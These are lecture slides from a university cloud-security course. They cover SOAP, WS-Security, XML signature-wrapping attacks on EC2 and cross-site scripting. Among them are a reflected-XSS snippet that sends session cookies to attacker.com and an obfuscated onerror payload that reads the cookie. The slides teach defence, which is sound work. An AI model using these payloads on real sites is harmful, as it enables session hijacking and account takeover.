1. Lecture 21: Cloud Security
COSC6376 Cloud Computing
Lecture 21: Cloud Security
Instructor: Weidong Shi (Larry), PhD
Computer Science Department
University of Houston

2. Outline
SOAP
WS Security
Attack to Cloud API Interface
XSS Attack

3. Schedule Class presentation Show demo to the TA
Turn in a project report

4. Web security issues related to cloud
Web services
SOAP
XML wrapping attacks
XSS 4

5. SOAP

6. Simply Put... Simple Object Access Protocol SOAP is a way for
a program running in one operating system to communicate with a program running in either the same or a different operating system
using HTTP (or any other transport protocol) and XML

7. SOAP messaging framework
XML-based messaging framework that is
Extensible
Interoperable
Independent

8. Extensible Simplicity remains one of SOAP's primary design goals
SOAP defines a communication framework that allows for features such as security, routing, and reliability to be added later as layered extensions

9. Interoperable
SOAP can be used over any transport protocol such as TCP, HTTP, SMTP
SOAP provides an explicit binding for HTTP
Message Queue

10. Independent
SOAP allows for any programming model and is not tied to RPC
SOAP defines a model for processing individual, one-way messages
SOAP also allows for any number of message exchange patterns

11. One-Way message

12. Request/Response

13. SOAP message format SOAP message consists of three parts:
SOAP Envelope
SOAP Header (optional)
SOAP Body
From the namespace

14. SOAP envelope code
<soap:Envelope xmlns:soap=" <soap:Header> <!-- optional -->
<!-- header blocks go here... -->
</soap:Header>
<soap:Body>
<!-- payload or Fault element goes here... --> </soap:Body>
</soap:Envelope>
The Envelope is the top element of the XML document representing the message.

15. SOAP header code <soap:Header>
<!-- security credentials -->
<s:credentials xmlns:s="urn:examples-org:security"> <username>dave</username> <password>evad</password>
</s:credentials>
</soap:Header>
Generic container for control information
Contain information that influences payload processing
Header is optional

16. SOAP body The Body element represents the message payload
<x:TransferFunds xmlns:x="urn:examples-org:banking"> <from> </from>
<to> </to>
<amount>100.00</amount>
</x:TransferFunds>
</soap:Body>
The Body element represents the message payload

17. SOAP body code <soap:Body>
<x:TransferFunds xmlns:x="urn:examples-org:banking"> <from> </from>
<to> </to>
<amount>100.00</amount>
</x:TransferFunds>
</soap:Body>

18. SOAP in code SOAP Message Embedded in HTTP Request:
<SOAP-ENV:Envelope xmlns:SOAP-ENV="   SOAPENV:encodingStyle=" <SOAP-ENV:Body>        <m:GetLastTradePrice xmlns:m="Some-URI">            <symbol>DIS</symbol>        </m:GetLastTradePrice>    </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

19. SOAP in code cont SOAP Message Embedded in HTTP Response:
<SOAP-ENV:Envelope   xmlns:SOAP-ENV="   SOAP-ENV:encodingStyle="    <SOAP-ENV:Body>        <m:GetLastTradePriceResponse xmlns:m="Some-URI">            <Price>34.5</Price>        </m:GetLastTradePriceResponse>    </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

20. WS Security

21. The WS-Security solution
~ two years after Web Services was introduced, IBM, Microsoft and VeriSign addressed the security issue. In April 2002 they released the proposed specification for WS-Security
From SOAP-Security, WS-Security, WS-License
April 2004: The standard was released as WS-Security 1.0
February 2006: “Web Services Security: SOAP Message Security 1.1 (WS-Security 2004)” or WS-Security Core Specification 1.1

22. Why WS-Security?
Standard signature and encryption techniques can be used to sign and encrypt an XML document.
But these techniques are generally tied to transmission (e.g., SSL) and don’t protect the document once it arrives.
But document needs to be sent as a whole, and different parts might have different security requirements.
Transmission system can’t be expected to respect these differences
Merchant needs to know customer’s name and address, but not credit card number.

23. WS-Security
A standard set of SOAP extensions that can be used to implement a variety of security models and encryption techniques.
Not itself a protocol
Supports:
Security token (passwords, keys, certificates) transmission
Message integrity
Message encryption
Makes use of other standards: XML Signature, XML Encryption

24. XML encryption Example: <payment xmlns=“…”>
<name> John Doe </name>
<creditCard type=“visa” limit=“5000” \>
<number> </number>
<issuer> Bank of XY </issuer>
<expiration> 04/09 </expi2424ration>
</creditCard>
</payment>

25. XML encryption
Example: encrypt the credit card element (including tags)
Encrypted element replaces element
encrypting
an element
<payment xmlns=“…”>
<name> John Doe </name>
<EncryptedData Type=“
xmlns=“…XML encryption namespace…”>
<EncryptionMethod Algorithm=“…” />
<KeyInfo xmlns=“…”>
<KeyName> keyABC </KeyName>
</KeyInfo>
<CipherData>
<CipherValue> AB12VY54321X ….. </CipherValue>
</CipherData>
</EncryptedData>
</payment>
encryption
algorithm
identify key to
receiver
encrypted
data

26. XML encryption Type – granularity of encryption
An entire document, or an element (with or without tags) can be encrypted.
Different parts can be encrypted with different keys
Algorithm –algorithm used to encrypt data
Example – DES, RSA
KeyName – key is known to receiver; just identify it
CipherData – octet stream
The standard provides a number of options that can be used to accommodate a variety of needs

27. XML encryption and SOAP
Store encryption key in header, encrypted data is body, an element w/i body, or an attachment
The result of the encryption must be a valid SOAP envelope
Can’t encrypt <s:Envelope>, <s:Header> or <s:Body> elements; only their descendants

28. XML encryption Encrypted key is stored in header
WS-Security used to attach XML Encryption
Encrypted key is stored in header
<s:Header>
<wsse:Security>
<xenc:EncryptedKey >
<xenc:EncryptionMethod
Algorithm=“…pub. key algo. to encrypt symmetric key…”/>
<ds:KeyInfo> <ds:KeyName> Bill </ds:KeyName>
</ds:KeyInfo>
<xenc:CipherData>
<xenc:CipherValue>abcd456…</xenc:CipherValue>
</xenc:CipherData>
<xenc:ReferenceList>
<xenc:DataReference URI=“#EncrData” />
</xenc:ReferenceList>
</xenc:EncryptedKey>
</wsse:Security>
</s:Header>
wsse – prefix for WS-Security
xenc – prefix for XML Encryption
ds – prefix for KeyInfo element
Bill’s publ. key encrypts sym. key
optional, receiver
may know it
encrypted symmetric key
list of data items encrypted with
symmetric key

29. XML encryption Encrypted data is stored in body identifies data
<s:Body>
<xenc:EncryptedData Id=“EncrData”
Type=“ />
<xenc:EncryptionMethod
Algorithm=“…symmetric algo. to encrypt data…” />
<xenc:CipherData>
<xenc:CipherValue>A341BB…</xenc:CipherValue>
</xenc:CipherData>
</xenc:EncryptedData>
</s:Body>
data encrypted
with symmetric key

30. XML signature
An entire document or individual elements can be signed. Allows for the fact that
Different individuals might be responsible for different parts of the message
Some parts of the message should not be changed, others are changeable
The signature is computed in two stages
A digest, using dig_fn1 , is computed of the data and encapsulated in a <SignedInfo> element
A digest, using dig_fn2 , is computed of the <SignedInfo> element and signed using the private key of the sender

31. <SignedInfo> element
XML signature
<Signature xmlns=“ …XML Signature namespace…”>
<SignedInfo>
<CanonicalizationMethod Algorithm=“ … “/>
<SignatureMethod Algorithm=“…hash/public key encryption …” />
<Reference URI=“…locate item to be signed …” />
<DigestMethod Algorithm=“ …hash algorithm for item…/>
<DigestValue>xyT14Rst…</DigestValue>
</Reference>
</SignedInfo>
<SignatureValue>xYzu2fR….</SignatureValue>
</Signature>
digest of
data
signature of entire
<SignedInfo> element

32. Two-Stage signature computation
Signature is over <SignedInfo> element (not over the data directly)
Change to data produces change to its <DigestValue> which produces change to signature of <SignedInfo>
Technique used to do the signing (but not the signature itself) is signed.
Defends against an attack in which intruder attempts to substitute weaker signature algorithm

33. KeyInfo element
Problem: Suppose the public key corresponding to the private key used to sign <SignedInfo> is not known to the receiver.
<SignedInfo>
<CanonicalizationMethod Algorithm=“ … “/>
<SignatureMethod Algorithm=“…hash/public key encryption …” />
….. other children …
</SignedInfo>
<SignatureValue> …. </SignatureValue>
<KeyInfo> …. </KeyInfo>
produced by algorithm
using a private key
identifies the private key:
- a name
- a certificate
- a corresponding public key

34. WS-Security
Defines Security header block as a mechanism for attaching security-related information to a SOAP message and organizing it in a standard way.
Uses the concept of a security token:
Asserts a claim by the sender of security-related information
username, PW, Kerberos ticket, key
Provides a mechanism for referring to security related information that is not in message
Tokens are children of Security header block
Leverages XML Encryption and XML Signature

35. Security tokens Username token element
Binary security token – an element that carries binary security information
<UsernameToken Id=“…”>
<Username> …. </Username>
<Password> …. </Password>
</UsernameToken>
<BinarySecurityToken
ValueType=“….” type of token (e.g., certificate, ticket)
EncodingType=“….” > -- encoding format
NmgT446C7… token
</BinarySecurutyToken>

36. Security tokens
Security token reference – a mechanism for referencing tokens not contained in the message
<KeyInfo> (part of XML Signature) provides an alternate (more general) mechanism for transmitting information of this type. It can be inserted as a child of Security header block
<SecurityTokenReference Id=“…” >
<Reference URI=“…” />
</SecurityTokenReference>

37. information about key used in the signature is found here
Example
WS-Security
<s:Header>
<wsse:Security>
<wsse:BinarySecurityToken
ValueType=“…certificate…” Id=“X509Token”> xDee45TsYU….
</wsse:BinarySecurityToken>
<ds:Signature>
<ds:SignedInfo>
<ds:CanonicalizationMethod ……/> <ds:SignatureMethod …../>
<ds:Reference URI=“#B”> body is signed
<ds:DigestMethod …./> <ds:DigestValue …./>
</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue> afdSkK… </ds:SignatureValue> signature
<ds:KeyInfo>
<wsse:SecurityTokenReference> <wsse:Reference URI=“#X509Token”/>
</wsse:SecurityTokenReference>
</ds:KeyInfo>
</ds:Signature>
</wsse:Security>
</s:Header>
<s:Body Id=“B”> ….body…. </s:Body>
XML Signature
token
information about key used in the signature is found here

38. Security token
Signature – An XML Signature element can be a child of a Security header block
There can be multiple signatures referencing different components of the message
Example:
Client signs orderId header block and body of message and sends to order processing dept
Order processing dept adds a shippingId header block and signs it and the orderId header block and sends to billing …

39. Encryption in WS-Security
WS-Security uses XML Encryption in a standard way to encrypt portions of a message
ReferenceList used as a
stand-alone header block; lists encrypted items
<s:Header>
<wsse:Security>
<xenc:ReferenceList>
<xenc:DataReference URI=“#bodyId” />
</xenc:ReferenceList>
</s:Header>
<s:Body>
<xenc:EncryptedData Id=“bodyId” >
<ds:KeyInfo>
<ds:KeyName> xyz </ds:KeyName>
</ds:KeyInfo>
<xenc:CipherData> <xenc:CipherValue> … </xenc:CipherValue>
</xenc:CipherData>
</xenc:EncryptedData>
</s:Body>
each EncryptedData
element in ReferenceList
provides its own key info
xyz is the name associated with the
symmetric key used to encrypt data

40. XML Wrapping Attacks

41. XML wrapping attacks (McIntosh and Austel 2005)
The original document: The SOAP Body is signed and referenced by a wsu:id attribute; signature verification returns Boolean value.
soap: envelope
soap: header
soap: body
wsse:security
ds:signature
ds:signedInfo
ds:reference
uri=“#theBody“
wsu:Id=“theBody“
getQuote
Symbol=“IBM“
Vulnerability:
SOAP and XML Signature logics process data independently. That is, when signed data located at wsu:id is valid then the content is processed by SOAP engine.

42. XML wrapping attacks (McIntosh and Austel 2005)
The modified document: The same data is signed and referenced by a wsu:id attribute, but the SOAP Body has changed.
soap: envelope
soap: header
soap: body
wsse:security
ds:signature
ds:signedInfo
ds:reference
uri=“#theBody“
wsu:Id=“newBody“
getQuote
Symbol=“MBI“
wsu:Id=“theBody“
Symbol=“IBM“
Wrapper

43. XML wrapping attacks (McIntosh and Austel 2005)
Summary
Wrapping Attacks do not change the semantics of XML signatures using wsu:id
For other signature formats (OpenPGP, PKCS#7) it is sufficient to return a Boolean value after verification; for XML Signature, this is no longer the case

44. EC2 Vulnerability
In 2008 it was discovered that Amazon’s EC2 services were vulnerable to wrapping attacks.

45. EC2 SOAP request

46. Attack scenario
Signature wrapping attack type 1

47. Attack scenario
Signature wrapping attack type 2

48. EC2 SOAP message processing architecture

49. EC2 SOAP message processing architecture
Separation of execution and security verification task modules within SOAP processing frameworks
As a result, different modules access the same XML document in a different way

50. Countermeasures XML Schema validation "in-line approach“
Detecting SOAP message modifications
Performance overhead
Not guarantee to fend signature wrapping attacks since XML schemas are extensible.
"in-line approach“
Additional information on the structure of a SOAP message is specified (and signed) in the header
Can be circumvented (SOAP structure flexibility)
“see what is signed"
Application logic only sees the XML content that was digitally signed, instead of attempting to parse and process the original XML message

51. Security Impacts
Gain control over all cloud instances of the particular Amazon customer
Create and start new virtual machine instances
Access to victim's virtual machine images
Uncover the business secrets that are stored in victim’s applications
Disclose data of victim’s customers

52. XSS Attacks

53. XSS attacks XSS attacks
Allows to embed malicious code:
JavaScript (AJAX!), VBScript, ActiveX, HTML, or Flash
Threats: phishing, hijacking, changing of user settings, cookie theft/poisoning, false advertising , execution of code on the client, ...
Applicable to web based cloud interfaces

54. XSS types Reflected Stored DOM-Based
Link in other website / link
Stored
e.g. bulletin board, forum
DOM-Based
Ajax and web 2.0 based web sites

55. Attacking other users: XSS
Reflected XSS
User-input is reflected to web page
Common vulnerability is reflection of input for an error message
Exploitation:
Attacker hijacks user’s session
User logs in
Server responds with attacker’s Javascript
User requests attacker’s URL
User’s browser sends session token to attacker
Attacker feeds crafted URL

56. Reflected XSS: exploits
User logs on as normal and obtains a session cookie
Attacker feeds a URL to the user
The user requests from the application the URL fed to them by the attacker
The server responds to the user’s request; the answer contains the javascript
User browser receives and executes the javascript
var I = new Image; i.src=
Code causes the user’s browser to make a request to attacker.com which contains the current session token
Attacker monitors requests to attacker.com and captures the token in order to be able to perform arbitrary actions as the user

57. Reflected XSS: exploits
Same Origin Policy: Cookies are only returned to the site that set them
Same Origin Policy:
Page residing in one domain can cause an arbitrary request to be made to another domain
Page residing in one domain can load a script from another domain and execute it in its own context
A page residing in one domain cannot read or modify cookies belonging to another domain
For browser, the attacker’s javascript came from the site
It is executed within the context of the site

58. Attacking other users: XSS
From: Thomas Schwarz
To: John Doe
Subject: Complete online course feed-back form
Dear Valued Student
Please fill out the following online course feed-back form. Your grades will not be released to the registrar without having completed this form. Please go to my course website using your usual bookmark and then click on the following link:

59. Stored XSS Stored/Persistent XSS Vulnerability
Attacker hijacks user’s session
Attacker’s Javascript executes in user’s browser
User logs in and views attackers question
Server responds with attacker’s Javascript
Attacker submits question containing malicious Javascript
User’s browser sends session token to attacker

60. DOM based XSS DOM-based XSS
A user requests a crafter URL supplied by the attacker and containing embedded Javascript
The server’s response does not contain the attacker’s script in any form
When the user’s browser processes this response, the script is nevertheless executed.

61. DOM window.location = userInput; document.forms[0]. i1.value = “Bob”;
document.getElementById(“i1”).value = “Bob”;
“The wonders” of AJAX: Asynchronous JavaScript and XML:
Only part of the user page is recreated upon user action

62. XSS payloads XSS Payloads: Virtual Defacement
Content of host is not affected, but loaded from other sites
Injecting Trojan Functionality
“Google is moving to a pay to play model” proof of concept created by Jim Ley, 2004
Inducing User Actions
Use payload script to perform actions
Exploit Any Trust Relationships

63. XSS payloads Other payloads for XSS
Malicious web site succeeded in the past to:
Log Keystrokes
Capture Clipboard Contents
Steal History and Search Queries
Enumerate Currently Used Applications
Port Scan the Local Network
Attack Other Network Hosts
<img src= onerror=“notNetgear()”
This checks for the existence of a unique image that is present if a Netgear DSL router is present

64. XSS: delivery modes Reflected and DOM-based XSS attacks
Use forged to target users
Use text messages
Use a “third party” web site to generate requests that trigger XSS flaws
This is successful if the user is logged into the vulnerable site and visits the “third party” web site at the same time
Attackers can pay for banner ads that link to a URL containing an XSS payload for a vulnerable application
Use the “tell a friend” or “tell administrator” functionality in order to generate s with arbitrary contents and recipients

65. XSS: delivery modes Stored XSS attacks
Look for user controllable data that is displayed:
Personal information fields
Names of documents, uploaded files, …
Feedback or questions for admins
Messages, comments, questions, …
Anything that is recorded in application logs and displayed in a browser to administrators:
URLs, usernames, referrer fields, user-agent field contents, …

66. HTTP only cookies HTTP Only Cookies
An application sets a cookie as http only
Set-Cookie: SessId= : HttpOnly
Supporting browsers will not allow client side scripts to access the cookie
This dismantles one of the methods for session hijacking

67. Public stored XSS
Amazon.com shared login session between the Amazon shop ( and the Amazon AWS management console interface (aws.amazon.com)
Made the attacks on the Amazon cloud possible, due to the login credentials being shared between the two systems

68. Public stored XSS
Persistent and public JavaScript injection and XSS attack against
<!-- Input -->
<img onerror='/* */alert/*123456*/( cookie )' src=1>
<!-- Output -->
<img onerror="/* <span style=" font-size:0;
=""></span*/alert/* <span style=" font-size:0
;=""></span>*/( cookie )" src=1>
Arbitrary JavaScript payload to execute